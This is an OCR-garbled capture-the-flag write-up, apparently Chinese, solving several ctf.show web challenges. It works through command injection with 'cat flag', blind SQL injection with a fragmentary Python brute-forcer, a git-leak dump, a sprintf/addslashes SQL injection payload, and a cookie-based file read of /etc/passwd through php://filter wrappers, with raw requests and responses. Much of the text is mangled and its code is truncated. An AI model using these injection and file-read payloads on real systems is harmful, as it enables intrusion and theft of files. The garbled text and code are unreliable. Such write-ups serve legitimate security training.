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<?php
if(isset($_GET[ DDA
system( -$_GET[

show_source(__FILE_);

payload

2url=127.0.0.1;cat flag;com

flag{ac699423-7fc3-41f5-8¢c38-f95984db08fd}

BT

BT
B B 12

& R TN BI BT 45 Blflag

AR5 & K MadminBx, FTHAR—-NEFRIE,

F 7 4 admin

B —TFHEEFEE4 (password. passwd. pass. p) FH K payload:’|length§<100

R AT B4 Ak A =Mk B S R A KER18RREIZE R RAEZRN, FIUFBRKERNT, B substriH 45w LUFE I =
Bt {E ipayload A’ ||substr(p,1,1)<'a
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SELECT password FROM user WHERE username length(password)<5
SELECT password FROM user WHERE username substr(password,1,1) ;
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password

b flag

It Uhpassword 7B K JE N5-1=4, passwords—4z Nchr(ord(‘'g’)-1) Af
RIEXAEH, RmEREWT:

import requests

(1,3),

requests.post(url, data=data)

in c.text:
flag (ord(j)-1)
print(flag)

break

REEY, HP4Nadmin, Fffif5Elfag

session_start();
include(
if(empty($_SESSION[
show_source(
}else{
$name=$_ SESSION[
$sql
echo $sql.
system( );
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name ){
echo c
if(isset($_GET[ 1)){
preg_replace_callback( ,function(){die( );},$ GET[ 1,1);
echo $flag;
}else{
echo




$#7R: register.php login.php KEMIHAET
JcFadminZ g, 1 M

R B Fladmin, 1 Bk

cEd IEMBAT, cHTHAT

oy

gitit &, 752YEG

k] Start Extract
Target Git: http://fea6a55e-f42f-41lad-903d-cbh2b2f0031f2.chall.ctf.show/.git/
Analyze .git/HEAD
Extract Ref refs/heads/master 2ce0a3
Clone Commit 2ce0a3
Parse Tree ../ b33cf8

k] Analyze .git/logs/HEAD
Detect .git/index
k] Detect .git/refs/stash
Detect .git/objects/info/packs
Detect .git/info/refs
Done

$pass=sprintf( ,addslashes($ GET[ 1));
$sql=sprintf( $pass"”,addslashes($ _GET[ 1));
?>

sprintffladdslashesE MR, MWordPress SQLiRPHP#& AL 745 £ 1) 7
B 5 Hpayload

?name=1&pass=%1$%$"' or 1%23

@ LoadURL  http://71323c02-ab48-417{-b86d-fdcbbad315d5.chall.ctf.show/ it L S e R L
¥ splitURL

3 Execute

[7] Enable Post data [ | Enable Referrer

Not Found

The requested URL was not found on this server.

There's nothing here

ARBEFIG, RonflaghtE

<!DOCTYPE HTML PUBLIC “—//IETF//DTD HTML 2. 0//EN™>
<html><head>

{title>404 Not Found</title>


https://paper.seebug.org/386/#0x02

</head><body>
<h1>Not Found</hl>

<p>The requested URL was not found on this server. </p>

<hr>
{!—flag in /flag —>
</body></html>

There’ s nothing here

B I ML AFE U R & R

Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML | Render

GET Awjbh.php HTTRA 1

Host: 7133c02-ab48-4171b86d-fdcbbad315d5.chall.ctf show

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWBA; rv:56.0) Geckof20100101 Firefox/56.0
Accept: text/html application/xhtmi+xml application/xml;g=0.9 */*,q=08
Accept-Language: zh-CM zh;q=0.8 en-US;q=0.5 &n;q=0.3

* Ty e

ookie: file=666C616726747674
T [o] = NN

Connection: close
Upgrade-Insecure-Requests: 1

666c61672e747874+ 7Nt 777 Mflag.txt
2R etc/passwd

[

Raw | Params | Headers | Hex

HTTR/1.1 200 OK

Senver nginx/1.14.0 (Ubuntu)

Date: Wed, 04 Mov 2020 07:55:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

X-Powered-By: PHP/7.3.11
Content-Length 245

T

<IDOCTYPE HTML PUBLIC "J/IETF#/DTD HTML 2. 07EN">
<html><head>
<litle>404 Not Found</title>
<fhead><body>
<h1>Not Found</h1=>
<p>The requested URL was not found on this server.</p>
<hr>
<I-flag in /flag >
<fhody=</html>
There’s nothing here

R —

Raw | Headers | Hex | HTML Render]

GET /wjbh.php HTTP/1.1

HTTP/1.1 200 OK

A
Host: 4c792832-1da6-4cbd-bala-5b3lefcdable.chall.ctf.show r Server: nginx/1.14.0 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Date: Wed, 04 Nov 2020 11:00:44 GMT
Firefox/56.0 Content-Type: text/html; charset=UTF-8
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;gq=0.8 Connection: keep-alive
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;q=0.3 X-Powered-By: PHP/7.3.11
Accept-Encoding: gzip, deflate Content-Length: 1616
Cookie: file=2f6574632£706173737764
X-Forwarded-For: 8.8.8.8 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
Connection: keep-alive <html><head>
Upgrade-Insecure-Requests: 1 <title>404 Not Found</title>
</head><body>
<hl>Not Found</hl>
<p>The requested URL was not found on this server.</p>
<hr>
<!--flag in /flag -->
</body></html>
:0:0:root:/root:/bin/ash
| bin:/bin:/sbin/nologin
2:2:daemon:/sbin:/sbin/nologin
adm:/var/adm:/sbin/nologin
lp:/var/spool/lpd:/sbin/nologin
0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
i 12:mail:/var/spool/mail:/sbin/nologin
ews:/usr/lib/news:/sbin/nologin
:10:14:uucp: /var/spool/uucppublic:/sbin/nologin
operator:x:11l perator:/root:/sbin/nologin
man:x:13:1 usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
:16:16:cron:/var/spool/cron:/sbin/nologin
/var/lib/ftp:/sbin/nologin
sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33 Font Server:/etc/X11/fs:/sbin/nologin
- games:x:35:35:games:/usr/games:/sbin/nologin
v postgres:x:70:70::/var/lib/postgresql:/bin/sh
> S —
H#EERUMag, RINRREFflag
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render |
GET /wjbh.php HTTP/1.1 2 HTTP/1.1 200 OK
Host: 4c792832-1da6-4cbd-bala-5b3lefcdable.chall.ctf.show - Server: nginx/1.14.0 (Ubuntu)

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:56.0) Gecko/20100101
Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;gq=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Cookie: file=2£666c6167]

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Date: Wed, 04 Nov 2020 11:01:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

X-Powered-By: PHP/7.3.11
Content-Length: 236

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1l>Not Found</h1l>
<p>The requested URL was not found on this server.</p>
<hr>
<!--flag in /flag -->
</body></html>
not has flag

ZWR PRI, php:/ffiter/read=convert base64-encode/resource=/flag

Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML Render]

ET /wjbh.php HTTP/1.1
ost: 4c792832-1da6-4cbd-bala-5b3lefcdable.chall.ctf.show

HTTP/1.1 200 OK
Server: nainx/1.14.0 (Ubuntu)



ser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:56.0) Gecko/20100101
irefox/56.0

ccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
ccept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g9=0.3

ccept-Encoding: gzip, deflate

ookie:
1i1e=7068703a2f2f66696c7465722£726561643d636£6e766572742e6261736536342d656e636£64652
7265736£757263653d2£666c6167

-Forwarded-For: 8.8.8.8

onnection: keep-alive

pgrade-Insecure-Requests: 1

Date: Wed, 04 Nov 2020 11:02:45 GMT

Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11

Content-Length: 238
<!DOCTYPE HTML PUBLIC
<html><head>
<title>404 Not Found</title>

</head><body>
<hl>Not Found</hl>
<p>The requested URL was not found on this server.</p>
<hr>
<!--flag in /flag -->

had Bl

"-//IETF//DTD HTML 2.0//EN">

not has base64 I

% php:/ffilter/read=string.rot13/resource=flag

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

GET /wjbh.php HTTP/1.1

Host: 4c792832-1da6-4cbd-bala-5b3lefcdable.chall.ctf.show
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 10.15;
Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;gq=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie:

rv:56.0) Gecko/20100101

£i1e=7068703a2f2£66696c7465722£726561643d737472696e672e726£7431332£7265736£757263653

d2£666c6167|
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1

rot1318 Zlflag
flag{03a79b86-45c6-4706-99c6-375460632199}

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Wed, 04 Nov 2020 11:07:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

X-Powered-By: PHP/7.3.11
Content-Length: 267

T

<!DOCTYPE HTML PUBLIC

<html><head>
<title>404 Not Found</title>

</head><body>

<hl>Not Found</hl>

<p>The requested URL was not found on this server.</p>

<hr>

<!--flag in /flag -->

</body></html>

synt{03n79086-45p6-4706-99p6-375460632199}

"-//IETF//DTD HTML 2.0//EN">
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